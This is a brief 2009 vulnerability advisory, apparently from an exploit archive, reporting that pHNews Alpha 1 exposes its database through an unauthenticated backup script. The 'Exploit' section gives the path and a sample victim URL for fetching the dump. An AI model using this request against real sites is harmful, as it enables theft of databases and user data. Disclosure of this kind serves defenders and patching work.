[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : pHNews Alpha 1 (genbackup.php) Database Disclosure Vulnerability
# Published : 2009-02-17
# Author : x0r
# Previous Title : pHNews Alpha 1 (header.php mod) SQL Injection Vulnerability
# Next Title : InselPhoto 1.1 Persistent XSS Vulnerability
#########################################################################################
[0x01] Informations:
Name : pHNews Alpha 1
Download : http://www.hotscripts.com/listings/jump/download/50111/
Vulnerability : Db Discloure
Author : x0r
Contact : andry2000@hotmail.it
Notes : Proud to be Italian
#########################################################################################
[0x02] Bug:
Bugged file is /[path]/extra/genbackup.php
#########################################################################################
[0x03] Exploit:
Exploit: http://victim.org/extra/genbackup.php
########################################################################################
# www.Syue.com [2009-02-17]